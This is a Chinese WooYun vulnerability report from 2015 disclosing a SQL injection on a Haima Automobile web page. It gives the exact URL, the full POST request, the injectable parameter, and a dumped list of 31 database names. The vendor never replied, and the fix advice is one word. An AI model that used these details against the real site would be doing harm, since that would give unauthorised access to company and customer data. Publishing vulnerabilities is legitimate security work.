当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0142936

漏洞标题：海马汽车某站点存在sql注入可导致所有的33个数据库信息泄漏

相关厂商：海马汽车集团股份有限公司

漏洞作者： 路人甲

提交时间：2015-09-23 12:11

修复时间：2015-11-07 12:12

公开时间：2015-11-07 12:12

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-23： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-11-07： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

所有的33个数据库信息泄漏

详细说明：

注入点
http://dy.haima.com/haima.aspx?id=83 (POST)
post参数如下
__VIEWSTATE=/wEPDwUJLTk0Nzk1NTg3D2QWAgIDD2QWBAIBDxYCHgdWaXNpYmxlaGQCBQ8WAh4JaW5uZXJodG1sBZwBDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgPGlucHV0IGlkPSJ0eXBlIiBuYW1lPSJ0eXBlIiB2YWx1ZT0iMCIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBpZD0iaGlkeWFvIiBuYW1lPSJoaWR5YW8iIHZhbHVlPSIxIiB0eXBlPSJoaWRkZW4iIC8%2BZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUMSW1hZ2VCdXR0b24xW6RXhw1CXd6UwsvlDOyTeMXivPM%3D&__VIEWSTATEGENERATOR=45696CB7&__EVENTVALIDATION=/wEWAgKXi7QWAtLCmdMIWX05Twyw%2BEoPbc15wVsBNYFTLTQ%3D&type=0&hidyao=1&yaoqingcode=123&ImageButton1.x=29&ImageButton1.y=12
注入参数是yaoqingcode
看下截图

1.jpg


available databases [31]:
[*] [haimaEvent]
[*] [LingZhiDraw]
[*] [LingzhiDraw2Q]
[*] [LittleSwan_}ianmian]
[*] CoolPadDaGuan
[*] CustomerEvent
[*] DoovEvent
[*] DuoWeiDraw
[*] eulovedraw
[*] haima_2012_hk
[*] haima_db
[*] HaimaS5
[*] JianLiBaoDraw
[*] JingYiDraw
[*] JingYiDraw2q
[*] JingyiX3Draw
[*] JingyiX5Draw
[*] JingyqX3Draw_new
[*] LibaiHaobabaDraw
[*] Lingzhi50wDraw
[*] LittleSwan1ML
[*] master
[*] model
[*] msdb
[*] s50_006Draw
[*] S5Weibo
[*] S7KGDraw
[*] tempdb
[*] YinluDraw
[*] Zotye_dmx5
[*] ZoyyeChezhanDraw

漏洞证明：

available databases [31]:
[*] [haimaEvent]
[*] [LingZhiDraw]
[*] [LingzhiDraw2Q      ]
[*] [LittleSwan_}ianmian]
[*] CoolPadDaGuan
[*] CustomerEvent
[*] DoovEvent
[*] DuoWeiDraw
[*] eulovedraw
[*] haima_2012_hk
[*] haima_db
[*] HaimaS5
[*] JianLiBaoDraw
[*] JingYiDraw
[*] JingYiDraw2q
[*] JingyiX3Draw
[*] JingyiX5Draw
[*] JingyqX3Draw_new
[*] LibaiHaobabaDraw
[*] Lingzhi50wDraw
[*] LittleSwan1ML
[*] master
[*] model
[*] msdb
[*] s50_006Draw
[*] S5Weibo
[*] S7KGDraw
[*] tempdb
[*] YinluDraw
[*] Zotye_dmx5
[*] ZoyyeChezhanDraw

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝